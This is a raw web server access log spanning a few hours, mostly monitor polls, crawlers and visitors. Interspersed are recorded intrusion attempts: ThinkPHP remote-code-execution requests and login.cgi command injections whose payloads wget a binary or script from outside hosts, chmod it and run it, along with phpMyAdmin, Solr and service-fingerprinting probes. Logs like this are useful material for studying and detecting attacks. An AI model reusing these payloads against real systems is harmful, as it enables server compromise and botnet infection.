212.91.246.72 - - [14/Feb/2020:23:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [14/Feb/2020:23:32:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:23:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.243.143.0 - - [14/Feb/2020:23:32:53 +0100] "GET /523a0e2f59353d6199eadf08c6abe14d.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [14/Feb/2020:23:32:53 +0100] "GET /DD6218B537ECD5DC3208622735DF2566.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [14/Feb/2020:23:32:53 +0100] "GET /0b354a30356c0e73fb1bf648d391286d.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [14/Feb/2020:23:32:53 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "-"
35.243.143.0 - - [14/Feb/2020:23:32:53 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "-"
212.91.246.72 - - [14/Feb/2020:23:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.197.118 - - [14/Feb/2020:23:35:27 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:27 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:28 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:28 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:28 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:29 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:29 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:29 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.197.118 - - [14/Feb/2020:23:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:23:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.21.41.89 - - [14/Feb/2020:23:36:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:23:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.96.170 - - [14/Feb/2020:23:38:45 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.170 - - [14/Feb/2020:23:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [14/Feb/2020:23:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [14/Feb/2020:23:39:38 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:23:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.160.150.92 - - [14/Feb/2020:23:47:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:23:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [14/Feb/2020:23:48:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:23:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.184.67.237 - - [14/Feb/2020:23:53:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:23:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:23:56:22 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:23:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:23:56:47 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:57:10 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:23:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:23:57:55 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:57:56 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:58:20 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:58:22 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
92.16.235.29 - - [14/Feb/2020:23:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:58:37 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:23:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:23:58:44 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:58:45 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:59:03 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:23:59:27 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:23:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.88 - - [15/Feb/2020:00:01:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [15/Feb/2020:00:01:18 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [15/Feb/2020:00:01:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [15/Feb/2020:00:01:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
79.106.11.157 - - [15/Feb/2020:00:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.229.41.133 - - [15/Feb/2020:00:12:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.229.41.133 - - [15/Feb/2020:00:12:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
171.100.12.210 - - [15/Feb/2020:00:14:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
220.121.0.69 - - [15/Feb/2020:00:16:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:00:16:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:00:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:00:16:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:00:17:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
217.100.210.82 - - [15/Feb/2020:00:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.221.220.206 - - [15/Feb/2020:00:20:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
70.95.63.117 - - [15/Feb/2020:00:20:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.7.84.141 - - [15/Feb/2020:00:27:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.45.127.104 - - [15/Feb/2020:00:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
41.144.147.36 - - [15/Feb/2020:00:37:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
34.73.205.249 - - [15/Feb/2020:00:38:22 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.73.205.249 - - [15/Feb/2020:00:38:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
178.149.61.151 - - [15/Feb/2020:00:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
182.253.71.42 - - [15/Feb/2020:00:39:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
47.37.101.62 - - [15/Feb/2020:00:46:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.6.137.198 - - [15/Feb/2020:00:51:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
111.206.52.81 - - [15/Feb/2020:01:00:16 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:26 +0100] "HELP" 501 319 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:26 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:26 +0100] "" 501 315 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:26 +0100] "\x16\x03" 501 317 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:26 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:27 +0100] "\x16\x03" 501 317 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:27 +0100] "" 501 315 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:27 +0100] "EHLO" 501 319 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:27 +0100] "Subscribe" 501 324 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:27 +0100] "Query" 501 320 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:28 +0100] "TSH " 501 318 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:28 +0100] "HELP" 501 319 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "stats" 501 320 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "\x05\x04" 501 317 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "< NTP/1.0 >" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "*1" 501 317 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "CONNECT01 v09" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "ver" 501 318 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "0\x84" 501 317 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "GET SERVER INFO" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "show info" 400 329 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "\x124" 501 317 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "NXSH-5.6.7" 501 325 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "< NTP/1.2 >" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "serverstatus" 501 327 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "get_info" 501 323 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "#ST" 501 318 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "\x01default" 501 323 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "<" 501 319 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "init" 501 319 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
111.206.52.101 - - [15/Feb/2020:01:00:29 +0100] "< NTP/1.1 >" 400 329 "-" "-"
111.206.52.81 - - [15/Feb/2020:01:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
106.12.160.31 - - [15/Feb/2020:01:07:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.12.160.31 - - [15/Feb/2020:01:07:13 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.12.160.31 - - [15/Feb/2020:01:07:13 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
5.251.7.103 - - [15/Feb/2020:01:07:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.124.149.24 - - [15/Feb/2020:01:09:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [15/Feb/2020:01:11:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
31.186.68.196 - - [15/Feb/2020:01:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
120.193.219.42 - - [15/Feb/2020:01:14:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
216.244.66.250 - - [15/Feb/2020:01:15:01 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
216.244.66.250 - - [15/Feb/2020:01:16:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
